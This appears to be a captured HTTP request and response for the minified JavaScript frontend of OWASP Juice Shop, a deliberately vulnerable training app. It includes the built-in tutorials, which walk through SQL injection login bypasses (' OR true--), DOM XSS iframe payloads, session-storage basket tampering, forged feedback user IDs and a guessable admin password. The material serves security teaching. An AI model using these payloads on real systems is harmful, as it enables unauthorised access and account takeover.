e=t(7697),s=t(2615),a=t(9556),i=t(5684),u=t(5290),E=t(8360),p=t(6812),T=t(8506),O=Object.getOwnPropertyDescriptor;h.f=e?O:function(R,g){if(R=u(R),g=E(g),T)try{return O(R,g)}catch{}if(p(R,g))return i(!s(a.f,R,g),R[g])}},2741:(o,h,t)=>{var e=t(4948),a=t(2739).concat("length","prototype");h.f=Object.getOwnPropertyNames||function(u){return e(u,a)}},7518:(o,h)=>{h.f=Object.getOwnPropertySymbols},1868:(o,h,t)=>{var e=t(6812),s=t(9985),a=t(690),i=t(2713),u=t(1748),E=i("IE_PROTO"),p=Object,T=p.prototype;o.exports=u?p.getPrototypeOf:function(O){var m=a(O);if(e(m,E))return m[E];var R=m.constructor;return s(R)&&m instanceof R?R.prototype:m instanceof p?T:null}},7049:(o,h,t)=>{var e=t(3689),s=t(8999),a=t(6648),i=t(1655),u=Object.isExtensible,E=e(function(){u(1)});o.exports=E||i?function(T){return!(!s(T)||i&&"ArrayBuffer"===a(T))&&(!u||u(T))}:u},3492:(o,h,t)=>{var e=t(8844);o.exports=e({}.isPrototypeOf)},4948:(o,h,t)=>{var e=t(8844),s=t(6812),a=t(5290),i=t(4328).indexOf,u=t(7248),E=e([].push);o.exports=function(p,T){var g,O=a(p),m=0,R=[];for(g in O)!s(u,g)&&s(O,g)&&E(R,g);for(;T.length>m;)s(O,g=T[m++])&&(~i(R,g)||E(R,g));return R}},300:(o,h,t)=>{var e=t(4948),s=t(2739);o.exports=Object.keys||function(i){return e(i,s)}},9556:(o,h)=>{var t={}.propertyIsEnumerable,e=Object.getOwnPropertyDescriptor,s=e&&!t.call({1:2},1);h.f=s?function(i){var u=e(this,i);return!!u&&u.enumerable}:t},9385:(o,h,t)=>{var e=t(2743),s=t(5027),a=t(3550);o.exports=Object.setPrototypeOf||("__proto__"in{}?function(){var E,i=!1,u={};try{(E=e(Object.prototype,"__proto__","set"))(u,[]),i=u instanceof Array}catch{}return function(T,O){return s(T),a(O),i?E(T,O):T.__proto__=O,T}}():void 0)},5073:(o,h,t)=>{var e=t(3043),s=t(926);o.exports=e?{}.toString:function(){return"[object "+s(this)+"]"}},5899:(o,h,t)=>{var e=t(2615),s=t(9985),a=t(8999),i=TypeError;o.exports=function(u,E){var p,T;if("string"===E&&s(p=u.toString)&&!a(T=e(p,u))||s(p=u.valueOf)&&!a(T=e(p,u))||"string"!==E&&s(p=u.toString)&&!a(T=e(p,u)))return T;throw new i("Can\'t convert object to primitive value")}},9152:(o,h,t)=>{var e=t(6058),s=t(8844),a=t(2741),i=t(7518),u=t(5027),E=s([].concat);o.exports=e("Reflect","ownKeys")||function(T){var O=a.f(u(T)),m=i.f;return m?E(O,m(T)):O}},496:(o,h,t)=>{var e=t(9037);o.exports=e},4684:(o,h,t)=>{var e=t(981),s=TypeError;o.exports=function(a){if(e(a))throw new s("Can\'t call method on "+a);return a}},5997:(o,h,t)=>{var e=t(2560).f,s=t(6812),i=t(4201)("toStringTag");o.exports=function(u,E,p){u&&!p&&(u=u.prototype),u&&!s(u,i)&&e(u,i,{configurable:!0,value:E})}},2713:(o,h,t)=>{var e=t(3430),s=t(4630),a=e("keys");o.exports=function(i){return a[i]||(a[i]=s(i))}},4091:(o,h,t)=>{var e=t(3931),s=t(9037),a=t(5014),i="__core-js_shared__",u=o.exports=s[i]||a(i,{});(u.versions||(u.versions=[])).push({version:"3.36.0",mode:e?"pure":"global",copyright:"\\xa9 2014-2024 Denis Pushkarev (zloirock.ru)",license:"https://github.com/zloirock/core-js/blob/v3.36.0/LICENSE",source:"https://github.com/zloirock/core-js"})},3430:(o,h,t)=>{var e=t(4091);o.exports=function(s,a){return e[s]||(e[s]=a||{})}},146:(o,h,t)=>{var e=t(3615),s=t(3689),i=t(9037).String;o.exports=!!Object.getOwnPropertySymbols&&!s(function(){var u=Symbol("symbol detection");return!i(u)||!(Object(u)instanceof Symbol)||!Symbol.sham&&e&&e<41})},7578:(o,h,t)=>{var e=t(8700),s=Math.max,a=Math.min;o.exports=function(i,u){var E=e(i);return E<0?s(E+u,0):a(E,u)}},5290:(o,h,t)=>{var e=t(4413),s=t(4684);o.exports=function(a){return e(s(a))}},8700:(o,h,t)=>{var e=t(8828);o.exports=function(s){var a=+s;return a!=a||0===a?0:e(a)}},3126:(o,h,t)=>{var e=t(8700),s=Math.min;o.exports=function(a){var i=e(a);return i>0?s(i,9007199254740991):0}},690:(o,h,t)=>{var e=t(4684),s=Object;o.exports=function(a){return s(e(a))}},8732:(o,h,t)=>{var e=t(2615),s=t(8999),a=t(734),i=t(4849),u=t(5899),E=t(4201),p=TypeError,T=E("toPrimitive");o.exports=function(O,m){if(!s(O)||a(O))return O;var g,R=i(O,T);if(R){if(void 0===m&&(m="default"),g=e(R,O,m),!s(g)||a(g))return g;throw new p("Can\'t convert object to primitive value")}return void 0===m&&(m="number"),u(O,m)}},8360:(o,h,t)=>{var e=t(8732),s=t(734);o.exports=function(a){var i=e(a,"string");return s(i)?i:i+""}},3043:(o,h,t)=>{var a={};a[t(4201)("toStringTag")]="z",o.exports="[object z]"===String(a)},3691:o=>{var h=String;o.exports=function(t){try{return h(t)}catch{return"Object"}}},4630:(o,h,t)=>{var e=t(8844),s=0,a=Math.random(),i=e(1..toString);o.exports=function(u){return"Symbol("+(void 0===u?"":u)+")_"+i(++s+a,36)}},9525:(o,h,t)=>{var e=t(146);o.exports=e&&!Symbol.sham&&"symbol"==typeof Symbol.iterator},5648:(o,h,t)=>{var e=t(7697),s=t(3689);o.exports=e&&s(function(){return 42!==Object.defineProperty(function(){},"prototype",{value:42,writable:!1}).prototype})},9834:(o,h,t)=>{var e=t(9037),s=t(9985),a=e.WeakMap;o.exports=s(a)&&/native code/.test(String(a))},4201:(o,h,t)=>{var e=t(9037),s=t(3430),a=t(6812),i=t(4630),u=t(146),E=t(9525),p=e.Symbol,T=s("wks"),O=E?p.for||p:p&&p.withoutSetter||i;o.exports=function(m){return a(T,m)||(T[m]=u&&a(p,m)?p[m]:O("Symbol."+m)),T[m]}},228:(o,h,t)=>{var e=t(3043),s=t(1880),a=t(5073);e||s(Object.prototype,"toString",a,{unsafe:!0})},4333:(o,h,t)=>{var e=t(9989),s=t(1735),a=t(509),i=t(5027);e({target:"Reflect",stat:!0,forced:!t(3689)(function(){Reflect.apply(function(){})})},{apply:function(T,O,m){return s(a(T),O,i(m))}})},50:(o,h,t)=>{var e=t(9989),s=t(6058),a=t(1735),i=t(6761),u=t(2655),E=t(5027),p=t(8999),T=t(5391),O=t(3689),m=s("Reflect","construct"),R=Object.prototype,g=[].push,D=O(function(){function X(){}return!(m(function(){},[],X)instanceof X)}),w=!O(function(){m(function(){})}),C=D||w;e({target:"Reflect",stat:!0,forced:C,sham:C},{construct:function(B,z){u(B),E(z);var I=arguments.length<3?B:u(arguments[2]);if(w&&!D)return m(B,z,I);if(B===I){switch(z.length){case 0:return new B;case 1:return new B(z[0]);case 2:return new B(z[0],z[1]);case 3:return new B(z[0],z[1],z[2]);case 4:return new B(z[0],z[1],z[2],z[3])}var K=[null];return a(g,K,z),new(a(i,B,K))}var st=I.prototype,Ot=T(p(st)?st:R),Mt=a(B,Ot,z);return p(Mt)?Mt:Ot}})},9871:(o,h,t)=>{var e=t(9989),s=t(7697),a=t(5027),i=t(8360),u=t(2560);e({target:"Reflect",stat:!0,forced:t(3689)(function(){Reflect.defineProperty(u.f({},1,{value:1}),1,{value:2})}),sham:!s},{defineProperty:function(O,m,R){a(O);var g=i(m);a(R);try{return u.f(O,g,R),!0}catch{return!1}}})},1049:(o,h,t)=>{var e=t(9989),s=t(5027),a=t(6616).f;e({target:"Reflect",stat:!0},{deleteProperty:function(u,E){var p=a(s(u),E);return!(p&&!p.configurable)&&delete u[E]}})},149:(o,h,t)=>{var e=t(9989),s=t(7697),a=t(5027),i=t(6616);e({target:"Reflect",stat:!0,sham:!s},{getOwnPropertyDescriptor:function(E,p){return i.f(a(E),p)}})},3792:(o,h,t)=>{var e=t(9989),s=t(5027),a=t(1868);e({target:"Reflect",stat:!0,sham:!t(1748)},{getPrototypeOf:function(E){return a(s(E))}})},2349:(o,h,t)=>{var e=t(9989),s=t(2615),a=t(8999),i=t(5027),u=t(6251),E=t(6616),p=t(1868);e({target:"Reflect",stat:!0},{get:function T(O,m){var g,D,R=arguments.length<3?O:arguments[2];return i(O)===R?O[m]:(g=E.f(O,m))?u(g)?g.value:void 0===g.get?void 0:s(g.get,R):a(D=p(O))?T(D,m,R):void 0}})},6162:(o,h,t)=>{t(9989)({target:"Reflect",stat:!0},{has:function(a,i){return i in a}})},3545:(o,h,t)=>{var e=t(9989),s=t(5027),a=t(7049);e({target:"Reflect",stat:!0},{isExtensible:function(u){return s(u),a(u)}})},2087:(o,h,t)=>{t(9989)({target:"Reflect",stat:!0},{ownKeys:t(9152)})},1505:(o,h,t)=>{var e=t(9989),s=t(6058),a=t(5027);e({target:"Reflect",stat:!0,sham:!t(1594)},{preventExtensions:function(E){a(E);try{var p=s("Object","preventExtensions");return p&&p(E),!0}catch{return!1}}})},2373:(o,h,t)=>{var e=t(9989),s=t(5027),a=t(3550),i=t(9385);i&&e({target:"Reflect",stat:!0},{setPrototypeOf:function(E,p){s(E),a(p);try{return i(E,p),!0}catch{return!1}}})},5247:(o,h,t)=>{var e=t(9989),s=t(2615),a=t(5027),i=t(8999),u=t(6251),E=t(3689),p=t(2560),T=t(6616),O=t(1868),m=t(5684);e({target:"Reflect",stat:!0,forced:E(function(){var D=function(){},w=p.f(new D,"a",{configurable:!0});return!1!==Reflect.set(D.prototype,"a",1,w)})},{set:function R(D,w,C){var z,I,K,X=arguments.length<4?D:arguments[3],B=T.f(a(D),w);if(!B){if(i(I=O(D)))return R(I,w,C,X);B=m(0)}if(u(B)){if(!1===B.writable||!i(X))return!1;if(z=T.f(X,w)){if(z.get||z.set||!1===z.writable)return!1;z.value=C,p.f(X,w,z)}else p.f(X,w,m(0,C))}else{if(void 0===(K=B.set))return!1;s(K,X,C)}return!0}})},6034:(o,h,t)=>{var e=t(9989),s=t(9037),a=t(5997);e({global:!0},{Reflect:{}}),a(s.Reflect,"Reflect",!0)}},o=>{o(o.s=7435)}]);'
GET http://localhost:3000/main.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"7814d-18df12a3c67"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:57 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'"use strict";(self.webpackChunkfrontend=self.webpackChunkfrontend||[]).push([[179],{4550:(tt,K,c)=>{c.d(K,{e:()=>s});var k=c(2340),t=c(4850),w=c(7221),L=c(4650),I=c(529);let s=(()=>{class b{constructor(Z){this.http=Z,this.hostServer=k.N.hostServer,this.host=this.hostServer+"/rest/admin"}getApplicationConfiguration(){return this.configObservable||(this.configObservable=this.http.get(this.host+"/application-configuration").pipe((0,t.U)(Z=>Z.config,(0,w.K)(Z=>{throw Z})))),this.configObservable}}return b.\\u0275fac=function(Z){return new(Z||b)(L.LFG(I.eN))},b.\\u0275prov=L.Yz7({token:b,factory:b.\\u0275fac,providedIn:"root"}),b})()},5376:(tt,K,c)=>{c.d(K,{t:()=>s});var k=c(4850),t=c(7221),w=c(2340),L=c(4650),I=c(529);let s=(()=>{class b{constructor(Z){this.http=Z,this.hostServer=w.N.hostServer,this.host=this.hostServer+"/rest/web3"}nftUnlocked(){return this.http.get(this.host+"/nftUnlocked").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}nftMintListen(){return this.http.get(this.host+"/nftMintListen").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}checkNftMinted(){return this.http.get(this.hostServer+"/api/Challenges/?key=nftMintChallenge").pipe((0,k.U)(Z=>Z),(0,t.K)(Z=>{throw Z}))}submitKey(Z){return this.http.post(this.host+"/submitKey",{privateKey:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}verifyNFTWallet(Z){return this.http.post(this.host+"/walletNFTVerify",{walletAddress:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}walletAddressSend(Z){return this.http.post(this.host+"/walletExploitAddress",{walletAddress:Z}).pipe((0,k.U)(u=>u),(0,t.K)(u=>{throw u}))}}return b.\\u0275fac=function(Z){return new(Z||b)(L.LFG(I.eN))},b.\\u0275prov=L.Yz7({token:b,factory:b.\\u0275fac,providedIn:"root"}),b})()},5004:(tt,K,c)=>{c.d(K,{H:()=>L});var k=c(4650),t=c(1195),w=c(7009);let L=(()=>{class I{constructor(b,O){this.translateService=b,this.snackBar=O}open(b,O){this.translateService.get(b).subscribe(Z=>{this.snackBar.open(Z,"X",{duration:5e3,panelClass:O})},()=>{this.snackBar.open(b,"X",{duration:5e3,panelClass:O})})}}return I.\\u0275fac=function(b){return new(b||I)(k.LFG(t.sK),k.LFG(w.ux))},I.\\u0275prov=k.Yz7({token:I,factory:I.\\u0275fac,providedIn:"root"}),I})()},2340:(tt,K,c)=>{c.d(K,{N:()=>k});const k={production:!0,hostServer:"."}},1096:(tt,K,c)=>{c.r(K),c.d(K,{hasInstructions:()=>Yt,startHackingInstructorFor:()=>Jt});var k=c(5861),t=c(8111);let w;const L={faster:.5,fast:.75,normal:1,slow:1.25,slower:1.5};function I(y){return s.apply(this,arguments)}function s(){return(s=(0,k.Z)(function*(y){yield new Promise(S=>{setTimeout(S,y)})})).apply(this,arguments)}function b(y,S,M={ignoreCase:!0,replacement:[]}){return(0,k.Z)(function*(){const E=document.querySelector(y);if(2===M.replacement?.length){w||(w=(yield(yield fetch("/rest/admin/application-configuration")).json()).config);const j=M.replacement[1].split(".");let et=w;for(const G of j)et=et[G];S=S.replace(M.replacement[0],et)}for(;(!M.ignoreCase||E.value.toLowerCase()!==S.toLowerCase())&&(M.ignoreCase||E.value!==S);)yield I(100)})}function Z(y,S,M={ignoreCase:!0}){return(0,k.Z)(function*(){const E=document.querySelector(y);for(;;){if(""!==E.value){if(M.ignoreCase&&E.value.toLowerCase()!==S.toLowerCase())break;if(!M.ignoreCase&&E.value!==S)break}yield I(100)}})}function g(y){return(0,k.Z)(function*(){const S=document.querySelector(y);for(;!S.value||""===S.value;)yield I(100)})}function D(y){return(0,k.Z)(function*(){const S=document.querySelector(y);S||console.warn(`Could not find Element with selector "${y}"`),yield new Promise(M=>{S.addEventListener("click",()=>{M()})})})}function u(y,S){return(0,k.Z)(function*(){for(;;){const M=document.querySelector(y);if(M&&M.innerHTML===S)break;yield I(100)}})}function p(y){return(0,k.Z)(function*(){w||(w=(yield(yield fetch("/rest/admin/application-configuration")).json()).config);let S=L[w.hackingInstructor.hintPlaybackSpeed];S??(S=1),yield I(y*S)})}function x(y){return(0,k.Z)(function*(){for(;window.location.hash!==`#/${y}`;)yield I(100)})}function T(){return(0,k.Z)(function*(){for(;null===localStorage.getItem("token");)yield I(100)})}function lt(){return(0,k.Z)(function*(){for(;null!==localStorage.getItem("token");)yield I(100)})}function gt(){let y=!1;const S=new Image;return Object.defineProperty(S,"id",{get:function(){y=!0}}),(0,k.Z)(function*(){for(;console.dir(S),console.clear(),!y;)yield I(100)})}const _={name:"Login Admin",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with the administrator\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"To find a way around the normal login process we will try to use a **SQL Injection** (SQLi) attack.",fixture:"#email",resolved:p(8e3)},{text:"A good starting point for simple SQL Injections is to insert quotation marks (like `\\"` or `\'`). These mess with the syntax of an insecurely concatenated query and might give you feedback if an endpoint is vulnerable or not.",fixture:"#email",resolved:p(15e3)},{text:"Start with entering `\'` in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","\'")},{text:"Now put anything in the **password field**. It doesn\'t matter what.",fixture:"#password",unskippable:!0,resolved:g("#password")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"Nice! Do you see the red `[object Object]` error at the top? Unfortunately it isn\'t really telling us much about what went wrong...",fixture:"#rememberMe",resolved:p(1e4)},{text:"Maybe you will be able to find out more information about the error in the JavaScript console or the network tab of your browser!",fixture:"#rememberMe",resolved:p(1e4)},{text:"Did you spot the error message with the `SQLITE_ERROR` and the entire SQL query in the 500 response to `/login`? If not, keep the network tab open and click _Log in_ again. Then inspect the occuring response closely.",fixture:"#rememberMe",resolved:p(3e4)},{text:"Let\'s try to manipulate the query a bit to make it useful. Try out typing `\' OR true` into the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","\' OR true")},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"Mhh... The query is still invalid? Can you see why from the new error in the HTTP response?",fixture:"#rememberMe",resolved:p(8e3)},{text:"We need to make sure that the rest of the query after our injection doesn\'t get executed. Any Ideas?",fixture:"#rememberMe",resolved:p(8e3)},{text:"You can comment out anything after your injection payload from query using comments in SQL. In SQLite databases you can use `--` for that.",fixture:"#rememberMe",resolved:p(1e4)},{text:"So, type in `\' OR true--` into the email field.",fixture:"#email",unskippable:!0,resolved:b("#email","\' OR true--")},{text:"Press the _Log in_ button again and sit back...",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"That worked, right?! To see with whose account you just logged in, open the _Account_ menu.",fixture:"#navbarAccount",unskippable:!0,resolved:D("#navbarAccount")},{text:"\\u{1f389} Congratulations! You have been logged in as the **administrator** of the shop! (If you want to understand why, try to reproduce what your `\' OR true--` did _exactly_ to the query.)",fixture:"app-navbar",resolved:p(2e4)}]},kt={name:"DOM XSS",hints:[{text:"For this challenge, we\'ll take a close look at the _Search_ field at the top of the screen.",fixture:".fill-remaining-space",unskippable:!0,resolved:p(8e3)},{text:"Let\'s start by searching for all products containing `owasp` in their name or description.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","owasp")},{text:"Now hit enter.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","owasp")},{text:"Nice! You should now see many cool OWASP-related products.",fixture:".fill-remaining-space",resolved:p(8e3)},{text:"You might have noticed, that your search term is displayed above the results?",fixture:"app-search-result",resolved:p(8e3)},{text:"What we will try now is a **Cross-Site Scripting (XSS)** attack, where we try to inject HTML or JavaScript code into the application.",fixture:"app-search-result",resolved:p(15e3)},{text:"Change your search value into `<h1>owasp` to see if we can inject HTML.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","<h1>owasp")},{text:"Hit enter again.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","<h1>owasp</h1>")},{text:"Hmm, this doesn\'t look normal, does it?",fixture:".noResult",resolved:p(8e3)},{text:"If you right-click on the search term and inspect that part of the page with your browser, you will see that our `h1`-tag was _actually_ embedded into the page and is not just shown as plain text!",fixture:".noResult",resolved:p(16e3)},{text:"Let\'s now try to inject JavaScript. Type `<script>alert(xss)<\\/script>` into the search box now.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input","<script>alert(xss)<\\/script>")},{text:"Hit enter again.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue","<script>alert(xss)<\\/script>")},{text:"\\u{1f614} This didn\'t work as we hoped. If you inspect the page, you should see the `script`-tag but it is not executed for some reason.",fixture:".noResult",resolved:p(1e4)},{text:\'Luckily there are _many_ different XSS payloads we can try. Let\\\'s try this one next: <code><iframe src="javascript:alert(`xss`)"></code>.\',fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input",\'<iframe src="javascript:alert(`xss`)">\')},{text:"Hit enter one more time. If an alert box appears, you must confirm it in order to close it.",fixture:".fill-remaining-space",unskippable:!0,resolved:u("#searchValue",\'<iframe src="javascript:alert(`xss`)"></iframe>\')},{text:"\\u{1f389} Congratulations! You just successfully performed an XSS attack!",fixture:".noResult",resolved:p(8e3)},{text:"More precisely, this was a **DOM XSS** attack, because your payload was handled and improperly embedded into the page by the application frontend code without even sending it to the server.",fixture:".noResult",resolved:p(16e3)}]},R={name:"Score Board",hints:[{text:"This application is riddled with security vulnerabilities. Your progress exploiting these is tracked on a _Score Board_.",fixture:"app-navbar",unskippable:!0,resolved:p(1e4)},{text:"You won\'t find a link to it in the navigation or side bar, though. Finding the _Score Board_ is in itself actually one of the hacking challenges.",fixture:"app-navbar",resolved:p(12e3)},{text:"You could just start guessing the URL of the _Score Board_ or comb through the client-side JavaScript code for useful information.",fixture:"app-navbar",resolved:p(12e3)},{text:"You find the JavaScript code in the DevTools of your browser that will open with `F12`.",fixture:"app-navbar",resolved:gt()},{text:"Look through the client-side JavaScript in the _Sources_ tab for clues. Or just start URL guessing. It\'s up to you!",fixture:"app-navbar",unskippable:!0,resolved:x("score-board")},{text:"\\u{1f389} Congratulations! You found the _Score Board_! Good luck and happy hacking!",fixture:"app-score-board",resolved:p(6e4)}]},U={name:"Privacy Policy",hints:[{text:"Log in with any user to begin this challenge. You can use an existing or freshly registered account.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:T()},{text:"Great, you are logged in! Now open the _Account_ menu.",fixture:"#navbarAccount",resolved:D("#navbarAccount")},{text:"Open the _Privacy & Security_ sub-menu and click _Privacy Policy_.",fixture:"app-navbar",unskippable:!0,resolved:x("privacy-security/privacy-policy")},{text:"\\u{1f389} That was super easy, right? This challenge is a bit of a joke actually, because nobody reads any fine print online... \\u{1f648}",fixture:"app-navbar",resolved:p(6e4)}]},Bt={name:"Login Jim",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"Let\'s try if we find a way to log in with Jim\'s user account. To begin, go to the _Login_ page via the _Account_ menu.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"As you would expect you need to supply Jim\'s email address and password to log in regularly. But you might have neither at the moment.",fixture:"app-navbar",resolved:p(15e3)},{text:"If we had at least the email address, we could then try a **SQL Injection** (SQLi) attack to avoid having to supply a password.",fixture:"app-navbar",resolved:p(15e3)},{text:"So, let\'s go find out Jim\'s email! Luckily the shop is very bad with privacy and leaks emails in different places, for instance in the product reviews.",fixture:"app-navbar",resolved:p(15e3)},{text:"Go back to the product list and click on some to open their details dialog which also hold the user reviews.",fixture:".fill-remaining-space",resolved:x("search")},{text:"Once you found a user review by Jim and learned his email, go to the _Login_ screen.",fixture:".fill-remaining-space",unskippable:!0,resolved:x("login")},{text:"Supply Jim\'s email address in the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","jim@juice-sh.op",{replacement:["juice-sh.op","application.domain"]})},{text:"Now put anything in the **password field**. Let\'s assume we don\'t know it yet, even if you happen to already do.",fixture:"#password",unskippable:!0,resolved:Z("#password","ncc-1701")},{text:"Press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"This didn\'t work, but did you honestly expect it to? We need to craft an SQLi attack first!",fixture:"#rememberMe",resolved:p(1e4)},{text:"You can comment out the entire password check clause of the DB query by adding `\'--` to Jim\'s email address!",fixture:"#email",unskippable:!0,resolved:b("#email","jim@juice-sh.op\'--",{replacement:["juice-sh.op","application.domain"]})},{text:"Now click the _Log in_ button again.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as Jim!",fixture:"app-navbar",resolved:p(5e3)}]},X={name:"View Basket",hints:[{text:"This challenge is about **Horizontal Privilege Escalation**, meaning you are supposed to access data that does not belong to your own account but to another user\'s.",fixture:"app-navbar",resolved:p(18e3)},{text:"To start this challenge, you\'ll have to log in first.",fixture:"app-navbar",unskippable:!0,resolved:T()},{text:"First, go to the _Your Basket_ page to view your own shopping basket. It\'s likely to be empty, if you didn\'t add anything yet.",fixture:"app-navbar",unskippable:!0,resolved:x("basket")},{text:"To pass this challenge, you will need to peek into another user\'s basket while remaining logged in with your own account.",fixture:"app-navbar",resolved:p(8e3)},{text:"If the application stores a reference to the basket somewhere in the browser, that might be a possible attack vector.",fixture:"app-navbar",resolved:p(12e3)},{text:"Open the browser\'s _Development Tools_ and locate the _Session Storage_ tab. Similar to \\u{1f36a}s, it can be used to store data in key/value pairs for each website.",fixture:"app-navbar",resolved:gt()},{text:"Look over the names of the used session keys. Do you see something that might be related to the shopping basket? Try setting it to a different value! \\u270d\\ufe0f",fixture:"app-navbar",unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=sessionStorage.getItem("bid");for(;sessionStorage.getItem("bid")===y;)yield I(100)})()},{text:"Great, you have changed the `bid` value which might be some ID for the shopping basket!",fixture:"app-navbar",resolved:p(8e3)},{text:"Now, go to any other screen and then back to _Your Basket_. If nothing happens you might have set an invalid or non-existing `bid`. Try another in that case.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=sessionStorage.getItem("itemTotal");for(;sessionStorage.getItem("itemTotal")===y;)yield I(100)})()},{text:"\\u{1f389} Congratulations! You are now viewing another user\'s shopping basket!",fixture:"app-basket",resolved:p(15e3)}]},It={name:"Forged Feedback",hints:[{text:"To start this challenge, first go to the _Customer Feedback_ page.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("contact")},{text:"This challenge is about broken access controls. To pass it, you need to impersonate another user while providing feedback.",fixture:"app-navbar",resolved:p(1e4)},{text:"If you would now submit feedback, it would be posted by yourself while logged in or anonymously while logged out.",fixture:"app-navbar",resolved:p(1e4)},{text:"We will now search for any mistake the application developers might have made in setting the author of any new feedback.",fixture:"app-navbar",resolved:p(1e4)},{text:"Open the browser\'s _Development Tools_ and try finding anything interesting while inspecting the feedback form.",fixture:"app-navbar",resolved:gt()},{text:"There is more than meets the eye among the fields of the form... \\u{1f609}",fixture:"app-navbar",resolved:p(8e3)},{text:"Once you found the field that shouldn\'t even be there, try manipulating its value to one that might represent another user!",fixture:"app-navbar",unskippable:!0,resolved:()=>(0,k.Z)(function*(){const y=document.getElementById("userId").value;for(;document.getElementById("userId").value===y;)yield I(100)})()},{text:"You found and changed the invisible `userId`! Now submit the form to complete the challenge.",fixture:"app-navbar",unskippable:!0,resolved:D("#submitButton")},{text:"\\u{1f389} Congratulations, you successfully submitted a feedback as another user!",fixture:"app-navbar",resolved:p(15e3)}]},ct={name:"Password Strength",hints:[{text:"To start this challenge, you\'ll have to log out first.",fixture:"#navbarAccount",unskippable:!0,resolved:lt()},{text:"In this challenge we\'ll try to log into the administrator\'s user account using his original credentials.",fixture:"app-navbar",resolved:p(7e3)},{text:"If you don\'t know it already, you must first find out the admin\'s email address. The user feedback and product reviews are good places to look into. When you have it, go to the _Login_ page.",fixture:"app-navbar",fixtureAfter:!0,unskippable:!0,resolved:x("login")},{text:"Enter the admin\'s email address into the **email field**.",fixture:"#email",unskippable:!0,resolved:b("#email","admin@juice-sh.op")},{text:"Now for the password. Lucky for us, the admin chose a really, really, **really** stupid one. Just try any that comes to your mind!",fixture:"#password",unskippable:!0,resolved:g("#password")},{text:"\\u{1f926}\\u200d\\u2642\\ufe0f Nah, that was wrong! Keep trying! I\'ll tell you when you\'re one the right track.",fixture:"#password",unskippable:!0,resolved:b("#password","admin")},{text:"Okay, you are one the right track, but this would have been the worst password in the world for an admin. He spiced it up a little bit with some extra non-letter characters. Keep trying!",fixture:"#password",unskippable:!0,resolved:b("#password","admin1")},{text:"\\u{1f525} Yes, it\'s getting warmer! Try adding some more numbers maybe?",fixture:"#password",unskippable:!0,resolved:b("#password","admin12")},{text:"\\u{1f9ef} It\'s getting hot! Just one more digit...",fixture:"#password",unskippable:!0,resolved:b("#password","admin123")},{text:"Okay, now press the _Log in_ button.",fixture:"#rememberMe",unskippable:!0,resolved:D("#loginButton")},{text:"\\u{1f389} Congratulations! You have been logged in as the **administrator** of the shop thanks to his very ill chosen password!",fixture:"app-navbar",resolved:p(2e4)}]},W={name:"Bonus Payload",hints:[{text:"Assuming you did the **DOM XSS** tutorial already, this one just uses a funnier payload on the _Search_ field.",fixture:".fill-remaining-space",unskippable:!0,resolved:p(1e4)},{text:"Enter or paste this payload into the _Search_ field: <code><iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe></code>.",fixture:".fill-remaining-space",unskippable:!0,resolved:b("#searchQuery input",\'<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>\')},{text:"Make sure your speaker volume is cranked up. Then hit 